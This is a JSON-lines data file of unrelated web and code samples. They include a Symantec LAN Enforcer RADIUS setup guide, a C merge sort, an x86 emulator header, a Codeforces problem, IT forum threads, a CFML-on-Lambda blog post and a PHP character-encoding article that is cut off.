{"text": "How to configure Microsoft IAS for use with the Symantec LAN Enforcer\nLast Updated March 16, 2012\nThis article covers the steps required for configuring the Microsoft Internet Authentication Service (IAS) for use with the Symantec LAN Enforcer.\nThe Symantec LAN Enforcer in Symantec Network Access Control can forward RADIUS requests from an 802.1x enabled switch for optional user authentication. This configuration is called Basic Mode - for details please see the following article:\nThe RADIUS user authentication in LAN Enforcer Basic mode can be provided by IAS. The steps below will help enable this configuration in PEAP (Protected EAP) mode.\nIn the Symantec Endpoint Protection Manager (SEPM) console:\nConfigure the Client Group supplicant settings:\nNavigate to Policies - General Settings - Security Settings.\nCheck the \"Enable 802.1x authentication\" option, but do not check \"Use Symantec Transparent Mode\".\nConfigure the LAN Enforcer to use the IAS as RADIUS server:\nNavigate to Admin - Servers.\nSelect Edit Group Properties for the LAN Enforcer group.\nOn the RADIUS Server Group tab create a new group with the IP address of the IAS server and a shared secret.\nOn the Switch tab edit the Switch Policy and select the new RADIUS Server Group in the dropdown list.\nIn the Active Directory Users and Computers MMC snapin:\nAllow Remote Access for the user account that is to be authenticated via the LAN Enforcer and IAS server.\nIn the user account properties dialog, select the Dial-in tab and pick the option to allow access under Remote Access Permissions.\nCreate a certificate to use for PEAP:\nMake sure Certificate Services are installed on the server (in Control Panel - add/remove Windows components).\nCreate a new certificate on http://localhost/certsrv/ following the steps in Microsoft article KB871222.\nVisit http://localhost/certsrv/ and click Request a certificate.\nSelect Advanced certificate request.\nSelect Create and submit a request to this CA.\nSelect Microsoft RSA SChannel Cryptographic Provider in the CSP dropdown.\nCheck the Store Certificate in the local computer certificate store check box.\nLeave the default options of 1024 for Key Size, and \"Create a new key set\" and \"Automatic container name\" selected.\nEnter Identifying Information as appropriate.\nIn the Microsoft Internet Authentication Service (IAS) MMC snapin:\nConfigure a new RADIUS Client using the LAN Enforcer IP address:\nUnder RADIUS Clients, select New RADIUS Client and enter the LAN Enforcer IP address.\nPress Next, and fill in the same shared secret entered in the LAN Enforcer group policy RADIUS Server Group created earlier.\nCreate a new Remote Access Policy:\nUnder Remote Access Policies, select New Remote Access Policy.\nUsing either the wizard option or the custom policy option, create policy conditions and a profile to control network access.\nUse conditions matching the client requests (for example \"Ethernet\" or \"Domain Users\" for an initial test granting access).\nFor the Profile, select Protected EAP (PEAP) as the EAP type.\nFurther edit the Protected EAP (PEAP) method, and select the certificate created earlier from the dropdown list.\nTo access the certificate selection after saving the policy (or if not using the wizard):\nClick Edit Profile.\nSelect the Authentication tab.\nClick EAP Methods.\nClick Add and select PEAP if it is not in the EAP types list already.\nSelect PEAP and click Edit.\nPick the correct certificate from the dropdown.\nIf any part of the configuration is missing the IAS server will write an entry to the standard Windows System Event Log. The event log entries contain a text description with useful hints to which step has not been configured correctly (such as \"invalid RADIUS client IP address\" if the LAN Enforcer has not been entered as a trusted client of the IAS).\nCapturing the traffic and filtering on the RADIUS traffic will also indicate if the requests were received on the server and if any reply was sent. When capturing on the client side a useful filter would be EAP to view the communication between the switch and the local supplicant.\nThe IAS server listens on the RADIUS 1812 UDP port, which is also used by the SEPM. If both are installed on the same machine the IAS needs to be configured to use a separate port.\nIt is recommended that the less complex Transparent mode is configured first with the LAN Enforcer, before the environment is changed to Basic mode with user authentication.\nImported Document ID: HOWTO74612\nSubscribing will provide email updates when this Article is updated. Login is required to Subscribe", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1004, "token_count_with_eod": 1005, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Can some smart programmers stop the if-then snow loop soon? The Northeast gets a double shot on Monday and Tuesday. The snow in Texas is gone but it left behind an impressive amount of damage. Under the snowmelt we found some newsbits, so enjoy.\nSeems like the weather demands yet more attention. At the time of this writing on February 15, Dallas is six degrees colder than Anchorage, Alaska. Houston is only one degree warmer than the Alaskan city 4,132 miles to the northwest. New York City is 23 degrees warmer than Dallas.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We love checking out Nintendo Switch accessories, cases, controllers, anything at all really and luckily TOMTOC were kind enough to send over their Slim case for the Nintendo Switch OLED for us to review!\nThis is a super thin hardcase with joystick protection, supposedly safeguarded against drops & shocks, is water repellent, has 10 game card case slots and YKK zips! So, what do I think of it? Is this the best Nintendo Switch OLED slim case? Let’s find out!\nPurchase the TomToc Slim here:\nWelcome to 128KB a channel dedicated to bringing you the latest videos about gaming, console accessories, retro games, tech and more!\n🎮 Gaming News & Playstation Videos: https://www.youtube.com/128KBNews\nBecome A Member\nWant to support us? Join our YouTube Memberships https://www.youtube.com/channel/UCanRIbY9MBoJIWgC7YL2sMA/join\nGear We Use In Our Videos\nPodcast Camera: https://geni.us/Mew05R\nMain Camera: https://geni.us/KcHdjq5\nPodcast Lens: https://geni.us/nu1t\nPodcast Mics: https://geni.us/tAdjb0\nMic Stands: https://geni.us/2hE4C\nDesk Of Jingle Glory: https://geni.us/XH1R0A\nStreaming Mics: https://geni.us/Uan6tfc\nStreaming Camera: https://geni.us/d01j\nArtlist Get 2 Months Free: https://bit.ly/2RVQGig\nTwitch Music Library: https://120fps.co.uk/product/copyright-free-music-library/\nSign Up To The Newsletter: http://eepurl.com/hYjJXf\nAffiliate Links Notice\nSome of these links are affiliate links, which means at no extra cost to you, we will make a small commission if you click them and make a purchase.\n🚩 If you’re a YouTuber, you have to check out TubeBuddy. It’s an amazing tool!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include<stdlib.h>\n#include<stdio.h>\n\nvoid merge(int arr[],int l,int m,int r)\n{\n    int n1=m-l+1;\n    int n2=r-m;\n\n    int L[n1],R[n2];\n\n    for(int i=0;i<n1;i++){\n        L[i]=arr[l+i];\n    }\n    for(int j=0;j<n2;j++)\n    {\n        R[j]=arr[m+1+j];\n    }\n\n    int i=0,j=0,k=l;\n\n    while(i<n1&&j<n2)\n    {\n        if(L[i]<=R[j])\n        {\n            arr[k++]=L[i++];\n        }\n        else\n        {\n            arr[k++]=R[j++];\n        }\n    }\n\n    while(i<n1)\n    {\n        arr[k++]=L[i++];\n    }\n\n    while(j<n2)\n    {\n        arr[k++]=R[j++];\n    }\n}\n\nvoid mergeSort(int arr[],int l,int r)\n{\n    if(l<r)\n    {\n        int m=(l+(r-1))/2;\n\n        mergeSort(arr,l,m);\n        mergeSort(arr,m+1,r);\n\n        merge(arr,l,m,r);\n    }\n\n}\n\nint main()\n{\n    int arr[] = {3,4,1,2,5,6,7};\n    int n=7;\n\n    mergeSort(arr, 0, n-1);\n\n   for(int i=0;i<n;i++)\n   {\n       printf(\"%d \",arr[i]);\n   }\n\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 371, "token_count_with_eod": 372, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "If you encountered â€Directory Listing Denied – This Virtual Directory does not allow contents to be listed†error message on Windows Hosting, it is probably because you use index.php as your main file.\nBy default, HSphere does not include index.php as directory index or main file on Windows Hosting. That means, if you want to use index.php as your main file, you will need to modify your directory index setting in you hosting control panel and put index.php as your directory index.\nRead below article for detail info:\nThis tool allows you to set your own index pages instead of those specified in the default settings. In other words, you can tell your visitors’ browsers which page to load as they hit your domain. Usually, it’s /index.html by default, but you can set any other custom welcome page.\nExample: If a visitor goes to your site http://www.example.com, the first page to open will be http://www.example.com/index.html. However, if you set /welcome.html as the directory index, the page to open will be http://www.example.com/welcome.html.\nWarning: your custom index pages won’t add to the defaults; they will replace them. Therefore, make sure to enter the full list of indexes you would like to have in your configuration.\nTo set your custom directory indexes, do the following:\n- Select Quick Access in the Account menu.\n- Click the Web Options icon on the page that shows.\n- Click the Edit icon next to the domain you need.\n- On the Web Service page, scroll down to find the Directory Indexes option and turn it on.\n- Agree with the charges.\n- In the box that appears, enter the names for files that will be treated as indexes. Put file names in the descending order of priority and separate them with spaces (e.g. index.html cgi.bin about.html).\n- Skip this step if you are using a Windows-based plan. At the top of the Web Service page, click the Apply link for the Server configuration to change. The changes will take effect within 15 minutes.\n- To edit the list you have made, click the Edit icon next to the Directory Indexes option: with spaces (e.g. index.html cgi.bin about.html).\nIf you are using a Unix-based plan, click the Apply link at the top of the Web Service page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 495, "token_count_with_eod": 496, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tavas lives in Kansas. Kansas has n cities numbered from 1 to n connected with m bidirectional roads. We can travel from any city to any other city via these roads. Kansas is as strange as Tavas. So there may be a road between a city and itself or more than one road between two cities.\n\nTavas invented a game and called it \"Dashti\". He wants to play Dashti with his girlfriends, Nafas.\n\nIn this game, they assign an arbitrary integer value to each city of Kansas. The value of i-th city equals to pi.\n\nDuring the game, Tavas is in city s and Nafas is in city t. They play in turn and Tavas goes first. A player in his/her turn, must choose a non-negative integer x and his/her score increases by the sum of values of all cities with (shortest) distance no more than x from his/her city. Each city may be used once, or in the other words, after first time a player gets score from a city, city score becomes zero.\n\nThere is an additional rule: the player must choose x such that he/she gets the point of at least one city that was not used before. Note that city may initially have value 0, such city isn't considered as been used at the beginning of the game, i. e. each player may use it to fullfill this rule.\n\nThe game ends when nobody can make a move.\n\nA player's score is the sum of the points he/she earned during the game. The winner is the player with greater score, or there is a draw if players score the same value. Both players start game with zero points.\n\nIf Tavas wins, he'll break his girlfriend's heart, and if Nafas wins, Tavas will cry. But if their scores are equal, they'll be happy and Tavas will give Nafas flowers.\n\nThey're not too emotional after all, so they'll play optimally. Your task is to tell Tavas what's going to happen after the game ends.", "source": "cpt_codeforces", "language": "en", "token_count": 428, "token_count_with_eod": 429, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef MODRM_H_\n#define MODRM_H_\n\n#include <stdint.h>\n\n#include \"emulator.h\"\n\n/* ModR/Mを表す構造体 */\ntypedef struct {\n    uint8_t mod;\n\n    /* opecodeとreg_indexは別名で同じ物 */\n    union {\n        uint8_t opecode;\n        uint8_t reg_index;\n    };\n\n    uint8_t rm;\n\n    /* SIB が必要な mod/rm の組み合わせの時に使う */\n    uint8_t sib;\n\n    union {\n        int8_t disp8; // disp8 は符号付き整数\n        uint32_t disp32;\n    };\n} ModRM;\n\n/* ModR/M, SIB, ディスプレースメントを解析する\n *\n * emu から ModR/M, SIB, ディスプレースメントを読み取って modrm にセットする。\n * 呼び出しのとき emu->eip は ModR/M バイトを指している必要がある。\n * この関数は emu->eip を即値（即値がない場合は次の命令）の先頭を指すように変更する。\n *\n * 引数\n *   emu: eip が ModR/M バイトの先頭を指しているエミュレータ構造体\n *   modrm: 解析結果を格納する構造体\n */\nvoid parse_modrm(Emulator* emu, ModRM* modrm);\n\n/* ModR/M の内容に基づきメモリの実効アドレスを計算する\n *\n * modrm->mod は 0, 1, 2 のいずれかでなければならない\n */\nuint32_t calc_memory_address(Emulator* emu, ModRM* modrm);\n\n/* rm32のレジスタまたはメモリの32bit値を取得する */\nuint32_t get_rm32(Emulator* emu, ModRM* modrm);\n\n/* rm32のレジスタまたはメモリの32bit値を設定する\n *\n * modrm の内容に従って value を目的のメモリまたはレジスタに書き込む\n *\n * 引数\n *   emu: エミュレータ構造体（eip はどこを指していても良い）\n *   modrm: ModR/M（SIB, disp を含む）\n *   value: 即値\n */\nvoid set_rm32(Emulator* emu, ModRM* modrm, uint32_t value);\n\n/* r32のレジスタの32bit値を取得する */\nuint32_t get_r32(Emulator* emu, ModRM* modrm);\n\n/* r32のレジスタの32bit値を設定する */\nvoid set_r32(Emulator* emu, ModRM* modrm, uint32_t value);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 620, "token_count_with_eod": 621, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The Real Reason Why NYC’s Skyscrapers Are Where They Are\nWhy does Manhattan have two business separate districts? Turns out that it's not because of the usual story about bedrock depth.\nOn The Black Skyscraper: An Interview with Literary Critic Adrienne Brown\nEarly skyscrapers changed the ways we see race, how we see bodies, how we perceive and make judgments about people in the world.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Error Message: Procedure Entry Point Not Found in Msvcrt.dll\ndo you know if there is an option where i can download a repair cd and do this stuff because i feel my windows xp cd is not working anymore.This procedure from microsoft require a winxp cd since xp are not being sold now by retail im afraid i wont be able to get one ....\nTo resolve this issue, use the Windows XP Recovery Console to replace the Msvcrt.dll file with the original version. To do this, follow these steps:\n1.Insert your Windows XP CD-ROM into the computer's CD-ROM drive or DVD-ROM drive, and then restart your computer from the CD-ROM.\nNOTE: Some computers may require that you modify the basic input/output system (BIOS) settings before you can start the computer from a CD-ROM. For information about how to modify BIOS, see your computer documentation.\n2.At the Welcome to Setup screen, press R to start the Recovery Console.\n3.Press the number key that corresponds to the installation that you want to repair, and then press ENTER.\n4.Type the Administrator password, and then press ENTER.\n5.With the Windows XP CD-ROM still in the CD-ROM drive or DVD-ROM drive, type the following commands, pressing ENTER after each command:\nren msvcrt.dll msvcrt.old\nexpand msvcrt.dl_ BootDriveLetter:\\windows\\system32\nNOTE: BootDriveLetter refers to the drive letter of the boot drive. In other words, it refers to the drive where the Windows folder is located, which is probably drive C. CD-ROM_or_DVD-ROM_Drive_Letter refers to the drive letter of the CD-ROM or the drive letter of the DVD-ROM drive. The CD-ROM drive or the DVD-ROM drive are frequently located in drive D.\nNOTE: The retail version of the Msvcrt.dll file is dated 23-Aug-2001. It was included with Windows XP and has the following properties:\nSize - 315 KB (322,560 bytes)\nVersion - 7.0.2600.0\nWas this reply helpful? (0) (0)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 451, "token_count_with_eod": 452, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Microsoft Office Tutorials and References\nIn Depth Information\ndelegation. In addition, the access model between the WFE and the ECS should be set to Delegation. If\nthe WFE and the ECS are on separate machines, the central IT department will need to set up\ndelegation between the WFE and the ECS as well. The workbook author will have to set the connection to use\nWorkbook Embedded Credentials\nThe workbook author can save in the workbook specific credentials to be used when connecting to a\ndatabase. Then all users who open that workbook can use the credentials.\nThe main advantage of this method is its simplicity. The author can publish a workbook to the server\nand allow all other users to connect to any database that supports database credentials. In addition, it is\nvery good in terms of performance, because everyone uses the same credentials, which enables them to\nshare the cached query results.\nThe main disadvantage is that all users who can view the workbook receive permissions to perform\nthe query from the database. This method is almost equivalent to sending these credentials to all\nusers. It is good for cases in which those credentials would normally be known to everyone in the\nAnyone who has access to the workbook can get the password that is stored in the file. You can limit this\ndisclosure by saving the workbook into a document library to which only the author has open rights and\nall other users have only view rights.\nTo specify that a connection should use embedded credentials, set the Server Authentication to None,\nwrite the user and password to the connection string, and select Save Password.\nThe ECS will log in as the unattended account when creating the connection to the database. The query\nwill fail if the unattended account is not defined correctly.\nThe administrator can define a special account to be used when the author defines a connection with the\nauthentication type set to None. This account is called the unattended account . The unattended account is\ndefined in the External Data section of the Excel Services Settings (see Figure 5-9).\nConnections with a None authentication type will fail if the unattended account is not defined and/or if\nthe user or password is incorrect.\nIf the unattended account is defined correctly, the ECS logs in as the unattended account when creating a\nNone connection type. The ECS then passes the connection string, which may or may not contain a\ndatabase username and password, to the database. If the database does not find any user and password on\nthe connection string, it works as the unattended account. (The previous section described what happens\nwhen there is a database user and password.)\nTo increase the security of your system, either don’t define the unattended account or define it as an\naccount with very low privileges and no access to the databases. When you use a low-privilege account,\nthe ECS is allowed to use embedded workbook credentials, but it cannot use the unattended account to\nconnect to a database.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 611, "token_count_with_eod": 612, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Running Coldfusion/CFML in AWS Lambda\nIn a previous life I had worked on some Coldfusion projects. It was an interesting language, if you are not familiar you can read about the language itself here. ColdFusion is owned, built and supported by Adobe, though along the way a few open source CFML engines, Lucee, OpenDB and many years ago one or 2 more half implemented engines.\nInterestingly in 2009 OpenBD was in a state where it was deployable to the cloud via Google App engine, it’s hard to believe this was 11 years ago but here is a video I took on My 2008 Mac Book. I don’t remember much about it but there was no file system and there was a Virtual File System that used DataStore. https://youtu.be/BFJF_0BGIS8\nUp until a few weeks ago this was broken with any recent version of SAM but my buddy Malcom Crum and I poked around and saw the changes in the Java code for the Java runtime in Lambda and made the appropriate fixes. At the time I compiled Fuseless locally and if there is any interest I can do a second post on how to step through that. We also updated the init scripts to pull down a more recent version of Lucee.\nI have built a sample repo with all the jars included ( https://github.com/kukielp/cfml-samples/tree/master/cfml-on-lambda )\nSatisfying the requirements of Fuseless you “should” be able to clone that repo, build the project and use SAM to push the project and expose an API. You’ll of course have to setup a database and change the Security Groups and VPC.\nThe example program is running as: https://8wgei5rj1f.execute-api.ap-southeast-2.amazonaws.com/Prod/demo.cfm\nThe demo includes:\n- Running CFML in Lambda\n- Demonstrating the application scope persistence between invocations\n- Configuring a DSN ( Data source ) in Application.cfc\n- Lifting ENV variables and leveraging those in CMFL code\n- Querying a database\n- Setting CORS ( or any other ) headers for cross site access\n- Object/cfc creation\n- Serialisation of CFML object to JSON\n- Demostrating on onError and onMissingTemplate in application.cfc\nOf course there is some cold start, Lucee is a jee application so that’s not really avoidable though there are ways to keep Lambdas warm as well as provisioned concurrency to keep some Lambdas always hot.\nAs I haven’t used CFML for years the only new feature I took advantage of was environment variables where I pass those in from SSM ( you can see this in template.yaml )\nSetting the headers for CORS was simple in CFML. While this demo runs on the same page while testing the HTML, I was running the HTML page locally calling the remote endpoints on Lambda.\nYou might also ask “How can I run this locally?” well you can with SAM. Open 2 terminals, in terminal one run:\ngradle build -t\nIn terminal 2 run:\nsam local start-api\nYou can use the browser to see the result, the browser will always request a favicon.ico invoking a second call, so I tend to use Postman. Running this locally will always incur cold start on each request.\nTO deploy the app run: In terminal 2 run:\nsam deploy --guided\nNote that you will have to specify Security groups and a VPC ID or simply remove those lines if you do not need to run in a VPC or do not have a database.\nI’m not sure who might be using CFML in Lambda or who is interested in a deeper dive. If I have some interest I can do a second or third post on this subject. Hope you enjoy.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 810, "token_count_with_eod": 811, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I learned to be ok by myself.🌸\n…owly. The problem is that if change happens too quickly, it doesn’t last (remember the fad diets?). People are most successful when they make small changes to their lives which over time make a big impact.\nSaving money and losing weight are very similar processes: success is slow and requires a lot of deliberate steps. There are get rich quick schemes and fad diets, but these don’t deliver long-term, sustainable resu…\n…k at our door. In most cases, it’s hidden, covered in dust, blocked by resistance of various types. Few people look for such obscure opportunities. Few behave like archeologists, treasure hunters, and pirates.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is really starting to annoy the hell out of me. I just picked up a Microsoft Bluetooth mouse, the Notebook 5000 mouse to be exact for my home entertainment center.\nI have my PC ran to a monitor and a 55 inch Samsung LED LCD TV for watching movies etc. The problem is, the HDMI cord is run threw the wall so the PC is in another room so I cant use the normal mouse on the PC. I bought a bluetooth mouse due to the increased range but I'm having nothing but issues.\nI have the Microsoft Bluetooth dongle btw, didn't come with the mouse, the mouse actually comes with no dongle.\nAnyway it connects fine but if I stop using it for like an hour or whatever it disconnects and nothing I do will reconnect it unless I take my other mouse, go into bluetooth devices, delete it and readd it all over again.\nWHY THE HELL does it keep doing this lol?\nIt's very annoying, I sit down to watch a movie and discover I cant start it without first going into the other room and readding my mouse.\nI'm well within range and I've tried moving the bluetooth mouse to the same room as the PC to use it with the PC and it still does the same thing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 265, "token_count_with_eod": 266, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Top 5 IT Courses – The advancement in the field of technology has brought with it many skills to learn, embrace and put into practice.\nSome famous and sought-after courses are listed below:\n1- ARTIFICIAL INTELLIGENCE\nWhat is AI?\nIn the top 5 IT courses AI is on 1st position. As the name implies, AI is the intellectual and human cognitive abilities such as learning and problem solving, exhibited by the machines. It is a revolutionary technology and a vast field of study.\nApplications of AI\nDue to its cognitive ability like learning from experience, modifying itself according to the changes, reasoning and self correction, AI has made its way in every single field.\nBe it marketing, finance, agriculture, healthcare and gaming, AI is the jack of all trades.\nSlowly but steadily, AI is gaining momentum and it is believed that its going to replace many jobs which were previously done by the humans and which took a lot of time, money and manpower to get done.\nResumes having AI skills grab a lot of attention in front of the hiring managers. Plus it also promises the growth of your business and your social status as well.\nSo, having an AI course is going to benefit in many ways.\n2- EXTENDED REALITY\nExtended reality is a super ordinate which includes all the immersive and three dimensional technologies forming an amalgamation of the physical and virtual worlds.\nIn the top 5 IT courses ER on 2nd position. This includes Augmented reality, Virtual reality, Mixed reality.According to Forbes, by 2022 the XR is expected to reach $209 billions, which is eight times what it is today. Sounds incredible right?!\nAR provides the user to experience the virtual world within the real world without being detached from their surroundings. This can be accessed by means of AR glasses, screens, tablets and smart phones.\nAR gained much popularity because of the famous game Pokemon GO that projects digital creature onto the real world.\nSnapchat filters are another example providing AR experience by putting digital objects onto your head.\nIn this particular immersive experience, users are fully engrossed in a simulated digital environment.\nFor this, usually a VR headset or a head mounted display is required to get a 360 degree view of an artificial world.\nVR deceives the human brain into believing that whatever is happening on the screen is a near to real experience, e.g, riding and then fearing a fall from the roller coaster, swimming under the ocean etc.\nRecently released movie “Ready player one” was solely based on magnificent VR experience in which the characters were able to experience, live and move in the virtual world.\nMixed Reality (MR)\nMixed Reality as can be predicted from the name is a merger of real and virtual worlds\nto generate a new environment and visualization with the integration\nand coexistence of physical and digital objects in real worlds.\nWhat are the benefits of XR and why should you learn it?\nBecause of its near to reality experience in many field, XR can be beneficial in\nentertainment and gaming, training tool, better consumer experience, health care. If you learn how to make a XR software, you can get employed very quickly where any XR related skill is required. And if one is really motivated\nand passionate about Extended Reality, you can gain a good name because this field is still developing and is not as saturated as other fields. With prior knowledge and creativity,\nXR can provide you a stable and bright career.\n3- CLOUD COMPUTING\nIt is the term used for storage systems available to several users over the internet.\nIn the top 5 IT courses CC is on 3rd position. Through cloud computing, servers, storage, databases. The software can be accessed from anywhere with an Internet connection.\nCloud Computing is reaping benefits for business because of efficiency and scalability, it has less operational issues, saves time and money, less carbon footprint and easily accessible data.\nWhy this course?\nCloud computing expertise has become a coveted and desirable skill that many business organizations are seeking,\nsince they want to set up a cloud environment as seamlessly as possible. Most companies face difficulty in finding an IT professional with cloud computing skills,\nso it is a golden opportunity to enroll in this course.\nLinux, which is an open source operating system that is rapidly gaining popularity due to its special features.\nWhat makes Linux different from other operating softwares, is its safety and security from viruses and malwares, it doesn’t crash or slow down, doesn’t require costly repairs and licenses,\nit’s easily installable and last but not the least, it is open-source, meaning that it can be used for any purpose.\nWhy opt for a Linux course?\nSince, more and more people are becoming familiar with Linux, it is better to upgrade your skills and start learning this OS.\nSpecially, if you are a computer professional, then it is advisable that you get a hold of Linux. Also with regards to career, just knowing Microsoft Windows wouldn’t be much valuable,\nwhereas Linux skills will make you stand out from others while applying for a job.\nPython is a high-level and general purpose programming language. Python has become an immensely popular language with vast applications.\nIt lets you do fairly complex things in relatively few lines of minimalist code. It allows you to focus on the core functionality of your application by taking care of the common tasks.\nIt is used for web development, web backend, AI , GUI (Graphic User interface), Web applications.\nWhat can you do with Python?\nIf you are a programming or a software specialist, learning python is an integral and in demand skill. Major Application of Python is\n• Development of Web frame in Django and Flask\n• Data science including Machine learning, Data analysis and Data visuals\nSince Artifical intelligence and Machine learning use is on a surge, Python is being used more commonly because it has framework and libraries for these technologies.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1230, "token_count_with_eod": 1231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "My umts-stick (ID 12d1:1001 Huawei Technologies Co., Ltd. E169/E620/E800 HSDPA Modem) isn´t recognized at boot/reboot if it is already connected to the PC. And I mean: it isn´t recognized at all, not even as mass-storage-device.\nIt doesn´t appear to be a modeswitch-problem because lsusb doesn´t list the device at all.\nYet as soon as I disconnect the stick physically (if PC is already running) and then reconnect it it´s recognized immediately (lsusb-entry is “HSDPA Modem”) and I can\nestablish an internet connection.\nI think you have your answer there in having to do that. I had the same problem with my wife’s laptop. Well not the same but it thought the power cable was the Ethernet connection, which it wasn’t as we’re wireless. So the only way we could get her connected was to disconnect that and then once established a wireless connection put it in. The problem doesn’t seem to be as bad with Mint 19.1 and only happens occasionally now. So that would be my only bit of help I could give you here.\nPerhaps someone else can give a better bit of help\n@01101111: Yes, it´s the same umts-stick. But the problem I´m referring to now is a bit different. Never mind. It seems that physical disconnection is the only way to go for the time being.\nHowever I´ve got a hama-hub with on-/off-switch, which at least gives me some sort of convenience.\nYes, you’re right: they’re different issues but when I tried to solve my problem, one of the tests I did was power off/on to the USB port - that’s the reason I said maybe I could adapt my script or, for example, add my script to reset the controller, I don’t know…\nFirst I need to look both lsusb and keep in mind I’m not an expert in Linux - you know how much time I “waste” with my problem…\nYou never waste time. my friend. You are pedantic and there is nothing wrong with that as it helps to give great learning experience and knowledge that you can pass on to others. Nothing is a waste of time in the process of learning something.\nHi to you all and thanks a lot for all your input,\n@Tech_JA: lsusb after power on and after reboot are the same: The umts-stick simply isn´t detected at all. lsusb yields the following output:\nBus 002 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller\nBus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub\nBus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub\n!!!!!Bus 001 Device 015: ID 12d1:1001 Huawei Technologies Co., Ltd. E169/E620/E800 HSDPA Modem!!!!!\nBus 001 Device 013: ID 05e3:0608 Genesys Logic, Inc. Hub\nBus 001 Device 010: ID 045e:0779 Microsoft Corp. LifeCam HD-3000\nBus 001 Device 008: ID 058f:6387 Alcor Micro Corp. Flash Drive\nBus 001 Device 012: ID 1113:3163 Medion AG\nBus 001 Device 011: ID 05e3:0727 Genesys Logic, Inc. microSD Reader/Writer\nBus 001 Device 009: ID 058f:6387 Alcor Micro Corp. Flash Drive\nBus 001 Device 007: ID 1a40:0101 Terminus Technology Inc. Hub\nBus 001 Device 006: ID 05e3:0608 Genesys Logic, Inc. Hub\nBus 001 Device 005: ID 1058:25a2 Western Digital Technologies, Inc.\nBus 001 Device 004: ID 0458:0185 KYE Systems Corp. (Mouse Systems)\nBus 001 Device 003: ID 05e3:0608 Genesys Logic, Inc. Hub\nBus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub\nBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub\nBut without the line Bus 001 Device 015: ID 12d1:1001 Huawei Technologies Co., Ltd. E169/E620/E800 HSDPA Modem\nAs I´m using a working internet connection at the moment it´s included in the lsusb-output.\nYes, I´ve tried that, too. That´s what I did in the beginning. And that´s the reason why I decided to go for a hub with on-/off-switch, which gives me greater convenience.\nYes and no. The hub with on-/off-switch (that´s the one the umts-stick is connected to) is a passive one. But it´s connected to a hub with its own power-supply. So it definitely shouldn´t be a power issue there.\nThanks a lot for all the effort of yours…\nIt´s been a while since I looked up my BIOS-settings but I´m pretty sure the problem lies somewhere in the already quoted\nMy first thought was to ask about this problem here in case anyone has encountered a similar one.\nNevertheless I think I´ll stick to my on-/off hub for the time being, as it provides some sort of workaround anyway.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1351, "token_count_with_eod": 1352, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "上載: 22:06 02 十一月 03 #1Is CoPilot Live Pocket PC4 CF GPS Quickstart compatible with the Toshiba e570 PDA? Am I right in thinking that the EU version covers Europe as well as the UK? whereas the UK version only covers UK?\nCompatibility [CoPilot Live Pocket PC 4 CF GPS Quickstart - 105644]\n- 投稿: 1\n- 註冊日期: 2 十一月 2003\n- 投稿: 10920\n- 註冊日期: 15 四月 2003\n- 地點: Manchester UK\n上載: 09:32 03 十一月 03 #2As it is an older PDA it is not mentioned on the CoPilot website. But as it has a CF slot and a is running Pocket PC 2002 there shouldn't be a problem with compatibility. The EU version does cover Europe as well as the UK. -- Michael - eXpansys", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 232, "token_count_with_eod": 233, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Most of our live production code was written (by me) without any attention paid to character encodings. Fortunately, nearly every link in the LAMP chain seems to default to ISO-8859-1 nicely, so things have worked out for the most part as that. Every now and then a UTF-8 character will pop up, and we’ll either change the character in the database, or someone will use random combinations of htmlentities() and mb_convert_encoding() in some random file until it looks right in that particular case. It’s one of those cases of building up a smidgen of technical debt. Doing it the right way and switching all of our code, databases, and data from ISO-8859-1 to UTF-8 at this point makes me shudder.\nFor our newer systems coming online, I really wanted to get this character encoding problem right. Since we started from scratch, all the necessary endpoints were written to support UTF-8 encoded text. And we made sure that all incoming data is UTF-8 encoded. If it was not, we converted it basically using this single line.\n$string = mb_convert_encoding($string, 'UTF-8');\nBut something was wrong. When I tried to convert a single smart quote (’) generated on my Windows machine and view it in my browser, it simply disappeared. Trawling the PHP manual for a solution (as usual), I came upon it on the manual page for utf8_encode().\nNote that you should only use utf8_encode() on ISO-8859-1 data, and not on data using the Windows-1252 codepage. Microsoft’s Windows-1252 codepage contains ISO-8859-1, but it includes several characters in the range 0x80-0x9F whose codepoints in Unicode do not match the byte’s value (in Unicode, codepoints U+80 – U+9F are unassigned).\nutf8_encode() simply assumes the bytes integer value is the codepoint number in Unicode.\nWhat this means is that, for example, a single smart quote (’), sent to PHP as ISO-8859-1, and converted to 